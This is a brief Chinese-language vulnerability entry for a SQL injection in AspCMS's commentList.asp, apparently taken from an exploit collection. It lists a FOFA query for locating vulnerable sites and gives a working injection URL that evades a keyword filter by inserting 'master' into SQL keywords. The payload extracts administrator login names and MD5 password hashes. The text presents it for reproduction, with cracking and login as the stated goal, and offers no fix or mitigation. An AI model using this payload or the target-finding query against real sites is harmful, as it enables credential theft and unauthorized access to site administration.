A11-1AspCMS-SQL

漏洞描述：

AspCMS commentList.asp 存在SQL注入漏洞，攻击者通过漏洞可以获取管理员md5的密码，进行解密后登录获取敏感数据。

网络测绘：

fofa语法：

fofa：app="ASPCMS"

漏洞复现：

payload：

```
/plug/comment/commentList.asp?id=-1%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now(),null,1%20%20frmasterom%20{prefix}user
```

效果图: